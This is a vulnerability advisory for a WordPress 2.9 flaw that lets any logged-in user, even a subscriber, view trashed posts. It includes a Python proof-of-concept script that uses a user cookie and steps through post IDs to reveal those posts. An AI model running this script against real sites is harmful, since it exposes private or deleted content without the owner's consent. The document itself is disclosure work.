WordPress 2.9 URL Access Bypass

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WordPress >= 2.9 Failure to Restrict URL Access  
http://www.thomasmackenzie.co.uk/  
  
  
1. *Advisory Information*  
  
Title: WordPress >= 2.9 Failure to Restrict URL Access  
Date published:  
  
  
2. *Vulnerability Information*  
  
Class: Failure to Restrict URL Access  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
  
  
3. *Software Description*  
  
WordPress is a state-of-the-art publishing platform with a  
focus on aesthetics, web standards, and usability. WordPress  
is both free and priceless at the same time. [0]  
  
  
4. *Vulnerability Description*  
  
Frequently, the only protection for a URL is that links to that page  
are not presented to unauthorized users. Security by obscurity is  
not sufficient to protect sensitive functions and data in an application.  
Access control checks must be performed before a request to a sensitive  
function is granted, which ensures that the user is authorized to access  
that function. [1]  
  
  
5. *Vulnerable packages*  
  
Versions >= 2.9  
  
  
6. *Non-vulnerable packages*  
  
Versions < 2.9  
  
  
7. *Vulnerability Overview*  
  
Since version 2.9 a new feature was implemented so that users  
were able to retrieve posts that they may have deleted by accident.  
This new feature was labeled 'trash'. Any posts that are placed within  
the trash are only viewable by authenticated privileged users.  
  
  
8. *Technical Description*  
  
When WordPress implemented the new feature they failed to change the  
permissions granted when the post is in the trash. This means that  
an unauthenticated user cannot see the post, however an authenticated  
user can no matter what privilege's they have, even 'subcriber'.  
  
"Subscriber [User Level 0] - Somebody who can read  
comments/comment/receive news letters, etc." [2]  
  
  
9. *PoC*  
  
#/usr/bin/python  
#  
# WordPress > 2.9 Failure to Restrict URL Access PoC  
#  
# This script iterates through the WP post ID's as an authenticated  
and unauthenticated user.  
# If the requests differ a 'Trash' post has been found.  
#  
# You will need an authenticated user cookie of any privilege to run  
this script.  
#  
# Example cookie:  
# wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8  
#  
# Will only work with WP URLs with the '/?p={int}' parameter. Would  
need to handle redirects (3xx) to handle all URL types.  
#  
#  
# Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst  
(ethicalhack3r)  
  
import httplib  
  
# Declare vars  
blogURL = "www.example.com"  
userCookie = "ENTER_COOKIE_HERE"  
postID = 0 #Leave at 0  
  
conn = httplib.HTTPConnection(blogURL)  
Headers = {"Cookie" : userCookie}  
  
print  
print "Target = http://" + blogURL + "/?p=" + str(postID)  
print  
  
while 1:  
  
# Start non authenticated enumeration  
  
request = '/?p=' + str(postID)  
conn.request("GET", request, "")  
  
try:  
r1 = conn.getresponse()  
except:  
print "Connection error"  
  
data1 = r1.read()  
  
# Start authenticated enumeration  
  
conn.request("GET", request, None, Headers)  
  
try:  
r2 = conn.getresponse()  
except:  
print "Connection error"  
  
data2 = r2.read()  
  
# Compare the HTML body reponses  
  
if data1 != data2:  
print "+ Found! http://" + blogURL + request  
else:  
print request  
  
postID += 1  
  
conn.close()  
  
  
10. *Credits*  
  
Thomas Mackenzie (tmacuk) - http://www.thomasmackenzie.co.uk/  
Original finder and tester.  
  
Ryan Dewhurst (ethicalhack3r) - http://www.ryandewhurst.co.uk/  
PoC creation and analysis.  
  
Arron Finnon (f1nux) - http://www.finux.co.co.uk/  
Helped with documentation.  
  
Matthew Hughes - http://www.matthewhughes.co.uk/  
Helped with documentation.  
  
Robin Wood (digininja) - http://www.diginija.org/  
Helped identify the vulnerability type.  
  
  
11. *References*  
  
[0] http://wordpress.org/  
[1] http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access  
[2] http://codex.wordpress.org/Roles_and_Capabilities  
  
  
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